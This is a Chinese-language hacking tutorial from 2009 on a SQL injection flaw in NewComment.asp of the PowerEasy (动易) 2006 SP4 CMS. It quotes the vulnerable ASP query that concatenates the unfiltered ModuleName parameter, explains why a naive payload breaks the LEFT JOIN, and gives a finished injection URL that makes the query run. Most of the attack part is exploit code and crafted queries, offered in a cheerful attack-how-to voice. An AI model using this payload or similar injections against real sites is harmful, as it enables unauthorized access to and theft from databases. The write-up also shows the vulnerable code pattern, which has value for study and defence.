首页 网络安全 安全学院 查看内容

动易2006 SP4 SQL版注入新发现

2009-2-4 18:23 595 0

摘要: 晚上正无聊着瞎摆弄着,好友Trace突然发个消息过来,说让我看个动易的NewComment.asp文件。说是听说这个文件出了个注入漏洞,让我好好瞧瞧。反正也没事做,就瞒看了。 认真一看,还真是发现了...
关键词: nbsp 语句 ChannelID ModuleName ClassID Comment PE Select InfoID Num

晚上正无聊着瞎摆弄着,好友Trace突然发个消息过来,说让我看个动易的NewComment.asp文件。说是听说这个文件出了个注入漏洞,让我好好瞧瞧。反正也没事做,就瞒看了。 认真一看,还真是发现了漏洞所在。我们长话短说,直接进入话题。首先我们来看看主要的几个参数过滤情况ModuleName = Trim(request("ModuleName"))//只过滤两边空格---也是漏洞所在首要原因ChannelID = PE_CLng(Trim(request("ChannelID")))ClassID = PE_CLng(Trim(request("ClassID")))Num = PE_CLng(Trim(request("Num")))//其他三个都过滤的比较严格。 真搞不懂,为什么就ModuleName没过滤?难道是动易故意放水? 好,闲话少说,现在我们再看看问题所在的SQL语句 ============================================================================================================================If ModuleName <> "" Then//假如ModuleName值不为空  If ChannelID <> 0 Then  //假如ChannelID值不为0    If ClassID <> 0 Then    //假如ClassID值不为0        sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True '获取指定模块中指定频道指定栏目的前Num条评论 //没经过任何过滤,直接执行了    Else        sqlComment = "Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and C.Passed =" & PE_True '获取指定模块中指定频道的前Num条评论    End If  Else    sqlComment = "Select top " & Num & " * From PE_Comment where ModuleType= " & ModuleId & " and Passed =" & PE_True '获取指定模块中的前Num条评论  End IfElse  sqlComment = "Select top " & Num & " * from PE_Comment where Passed =" & PE_True '获取所有模块中的前Num条评论End If============================================================================================================================ /////////////////////////////////////////Select top " & Num & " C.* from PE_Comment C left join PE_" & ModuleName & " A on C.InfoID=A." & ModuleName & "ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True//////////////////////////////////////////以上语句为漏洞存在语句发现此语句里也没对ModuleName进行过滤。HOHO,这不就常说的注入漏洞么!但是,请不要高兴的太早。因为这句SQL语句里有个小弯,如果没转过去,那可是要撞墙的哦。认真看下语句,你会发现,该语句使用了left join(外连接),如果直接构造NewComment.asp?num=1&ChannelID=1&&ClassID=1&ModuleName=soft and user>0--这样的URL是不可以成功的!为什么呢,其原因所在就是这个外连接语句!如果你把你构造的参数值和你想执行的SQL语句代到原SQL语句中的话,你会发现语句错了,错了的语句当然是没办法执行下去的了。/////////////////////////////////////////Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0--(后面的被注释了,就没必要代参数进去了)ID where A.ChannelID= " & ChannelID & " and A.ClassID= " & ClassID & " and C.Passed =" & PE_True//////////////////////////////////////////以上是代入SQL语句中的示范。======================================================================================Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft and user>0--======================================================================================这样的语句,试问,如何让他执行成功呢? 聪明的你肯定想到答案了吧。呵呵没错,既然这样的语句不能成功执行,那么我们就构造一个可以让他执行的语句! /////////////////////////////////////////Select top 1 C.* from PE_Comment C left join PE_soft A on C.InfoID=A.soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0--//////////////////////////////////////////再看看上面这段语句,是不是变的通顺了呢?好,我们现在还原到URL上============================================================================================================================NewComment.asp?num=1&ChannelID=1&ClassID=1&modulename=soft A on C.InfoID=A.softID where A.ChannelID=1 and user>0-- ============================================================================================================================哈。。是不是成功了???
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部